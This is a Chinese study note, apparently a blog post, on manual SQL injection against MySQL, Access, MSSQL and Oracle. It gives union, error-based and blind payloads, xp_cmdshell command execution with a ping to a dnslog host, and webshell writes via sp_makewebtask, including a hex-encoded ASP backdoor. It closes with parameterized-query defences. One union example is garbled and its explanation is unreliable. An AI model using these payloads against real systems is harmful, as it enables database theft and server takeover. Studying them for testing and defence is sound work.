No. 31 笔记 | Web安全-SQL手工注入技术学习 Part 2

一、研究背景

  1. 背景介绍

    SQL注入是一种常见且高危的Web安全漏洞。攻击者可以通过构造恶意SQL查询语句来绕过验证机制,执行未授权操作,如获取敏感信息、篡改数据库内容甚至控制服务器。

  2. 研究内容

    本笔记探讨以下数据库的手工注入技术:

    • MySQL
    • Access
    • MSSQL
    • Oracle
      覆盖了联合查询注入、报错注入、盲注注入、UA注入、Referer注入、DNSLOG外带、Cookie注入、宽字节注入、堆叠注入等方法。
  3. 相关研究

    目前的主要研究集中在SQL注入的检测和防御技术:

    • 参数化查询:避免动态拼接用户输入。
    • 输入验证:严格过滤SQL关键字符。
    • 输出编码:对输出数据进行编码以防止攻击扩散。

二、SQL注入技术详解

1. MySQL注入

  1. 联合查询注入

    • 利用UNION操作符,将多条SELECT语句的结果合并。
    • 步骤
      1. 判断列数 :利用ORDER BY语句逐步增加字段数,观察是否报错。
      2. 构造查询 :如:UNION SELECT 1,2,3--,逐步替换为敏感数据字段。
      3. 获取数据 :在显示字段中插入database()version()等函数查看信息。
  2. 报错注入

    • 方法 :利用MySQL特性,构造错误表达式来暴露数据。
      • 示例:EXTRACTVALUE(1, 'XPath语法错误')UPDATEXML(1, 'XPath错误', 1)
  3. 盲注注入

    • 布尔盲注 :通过页面返回的不同响应判断数据。
      • 示例:AND (SELECT 'a'='a')-- 页面正常;AND (SELECT 'a'='b')-- 页面异常。
    • 时间盲注 :利用SLEEP()函数延迟判断。
      • 示例:IF(条件, SLEEP(5), 0)--
  4. 其他技术

    • UA/Referer注入:通过修改HTTP请求头进行注入。
    • DNSLOG外带:将数据通过DNS请求传出。
    • Cookie注入 :在Cookie参数中嵌入注入语句。
    • 宽字节注入:利用GBK编码将字符解码为SQL语句。
    • 堆叠注入 :通过分号执行多条SQL语句。
  5. Getshell

    • 目标:利用文件读写权限获取Webshell。
    • 方法LOAD_FILE()读取敏感文件,或INTO OUTFILE写入后门文件。

2. Access注入

  1. 基本流程

    • 判断数据库类型、表名、列名及其数据。
    • 通过页面反馈逐步确认。
  2. 逐字破解法

    • 步骤
      1. 猜表名AND EXISTS (SELECT * FROM 表名),逐步尝试常见表名。
      2. 猜列名AND EXISTS (SELECT 列名 FROM 表名),逐步尝试常见列名。
      3. 获取数据AND (SELECT TOP 1 列名 FROM 表名) = 'value'

3. MSSQL注入

  1. 报错注入

    • 方法 :通过错误信息回显数据。
      • 示例:CONVERT(int, 'a')1/0
  2. 盲注注入

    • 利用内置函数逐步判断数据:
      • 示例:IF(SUBSTRING((SELECT 数据), 1, 1)='a', WAITFOR DELAY '0:0:5', 0)--
  3. 命令执行

    • 启用xp_cmdshell,执行系统命令。
      • 示例:

        sql 复制代码
        EXEC sp_configure 'show advanced options', 1;
        RECONFIGURE;
        EXEC sp_configure 'xp_cmdshell', 1;
        EXEC xp_cmdshell 'ping example.com';
  4. 写入Webshell

    • 利用sp_makewebtask创建恶意文件:

      sql 复制代码
      EXEC sp_makewebtask 'C:\webshell.asp', 'SELECT ''<%eval request("cmd")%>''';

4. Oracle注入

  1. 报错注入

    • 利用函数dbms_utility.sqlid_to_sqlhash()制造错误:
      • 示例:SELECT dbms_utility.sqlid_to_sqlhash('错误') FROM dual;
  2. 盲注注入

    • 使用字符串截取函数判断:
      • 示例:AND SUBSTR((SELECT username FROM ALL_USERS WHERE ROWNUM=1), 1, 1)='A'

三、防御策略

  1. 过滤SQL特殊字符

    • 使用白名单模式验证输入。
    • ', ;, --, /*等特殊字符进行转义。
  2. 参数化查询

    • 利用预编译语句绑定参数,避免直接拼接用户输入:
      • 示例(PHP PDO):

        php 复制代码
        $stmt = $pdo->prepare('SELECT * FROM users WHERE username = :username');
        $stmt->execute(['username' => $input]);
  3. 使用存储过程

    • 通过封装数据库操作,减少直接操作SQL的风险。
  4. 最小化权限

    • 限制数据库用户权限,仅允许必要的读写操作。

关键问题及回答

问题1:MySQL注入中的联合查询注入是如何实现的?

联合查询注入通过构造联合查询语句,利用数据库的列数错误获取数据。具体步骤如下:

  1. 判断列数

    • 构造查询语句,利用ORDER BY子句判断目标表的列数。
    • 示例:
      ORDER BY字段数为3时,页面正常;字段数为4时,页面报错,说明目标表有3列。
  2. 构造联合查询

    • 利用UNION SELECT语句构造包含多个列的查询。

    • 示例:

      sql 复制代码
      'UNION SELECT 1,2,3 FROM (SELECT 1) UNION SELECT 1,2,3 FROM (SELECT 1) UNION SELECT 1,2,3 FROM (SELECT 1)'
  3. 执行查询

    • 将联合查询语句发送至目标网站,利用列数错误引发的报错信息获取数据。

问题2:在Access注入中,如何利用逐字破解法获取表名和列名?

  1. 查表

    • 构造查询语句,利用EXISTS语句判断表名存在性。

    • 示例:

      sql 复制代码
      AND EXISTS (SELECT * FROM 表名)
    • 替换表名为常见名称(如adminuser等),直到页面返回正常,确定表名存在。

  2. 查列

    • 确认表名后,利用EXISTS语句判断列名存在性。

    • 示例:

      sql 复制代码
      AND EXISTS (SELECT 列名 FROM 表名)
    • 替换列名为常见名称(如adminpassword等),直到页面返回正常,确定列名存在。

  3. 获取数据

    • 确认表名和列名后,构造查询语句逐步获取数据。

    • 示例:

      sql 复制代码
      AND (SELECT TOP 1 LEN(列名) FROM 表名) = 5
    • 通过替换列名,判断长度或内容获取目标数据。


问题3:MSSQL注入中的命令执行是如何实现的?

  1. 开启xp_cmdshell

    • 利用sp_configure系统存储过程启用命令执行功能。

    • 示例:

      sql 复制代码
      EXEC sp_configure 'show advanced options', 1;  
      RECONFIGURE;  
      EXEC sp_configure 'xp_cmdshell', 1;  
      RECONFIGURE;
  2. 执行系统命令

    • 通过xp_cmdshell执行命令,例如ping命令,验证是否成功执行。

    • 示例:

      sql 复制代码
      EXEC master..xp_cmdshell 'ping teki6x.dnslog.cn';
  3. 写入一句话木马

    • 利用sp_makewebtask或存储过程向目标写入ASP/ASPX木马文件。

    • 示例:

      sql 复制代码
      DECLARE @s NVARCHAR(4000);
      SELECT @s = 0x730065006C00650063007400200027003C00250045007800650063007500740065002800720065007100750065007300740028002200610022002900290025003E000D000A002700;
      EXEC sp_makewebtask 'C:\webshell.asp', @s;

通过上述步骤,攻击者可以在MSSQL数据库中执行任意系统命令并获取系统权限。


四、总结与反思

  1. 总结

    • 本文全面梳理了SQL注入技术,涵盖MySQL、Access、MSSQL和Oracle的常见注入方法。
    • 提供了大量实战案例,展示了如何手工执行注入攻击并绕过安全防护。
  2. 反思

    • 防御措施需要多层次部署,单一防护手段难以完全防范。
    • 检测和防御技术需要结合AI和自动化工具进一步提升效率。
  3. 建议

    • 开发过程中严格执行输入验证和参数化查询。
    • 定期进行安全测试和漏洞扫描。
相关推荐
敲敲敲-敲代码2 小时前
【机器学习】神经网络(BP算法)含具体计算过程
人工智能·笔记·神经网络·机器学习
孤寒者3 小时前
MYSQL8创建新用户报错:You have an error in your SQL syntax;check...
数据库·sql·mysql·创建新用户操作
隔壁老登3 小时前
sql报错非法的字符校对Illegal mix of collations
数据库·sql
sealaugh325 小时前
aws(学习笔记第二十四课) 使用sam开发step functions
笔记·学习·aws
明天好,会的7 小时前
代码的形状:重构的方向
笔记·其他
惟长堤一痕7 小时前
黑马linux入门笔记(01)初始Linux Linux基础命令 用户和权限 实用操作
linux·运维·笔记
Steps-of-time7 小时前
STL之Vector&Map&List针对erase方法踩坑笔记
笔记
linly12197 小时前
MATLAB学习笔记目录
笔记·学习·matlab
罗汉松(山水白河)7 小时前
解除WPS登录限制
windows·经验分享·笔记·学习·wps
许仙在19977 小时前
【无标题】四类sql语句通用
数据库·sql·mysql·sqlserver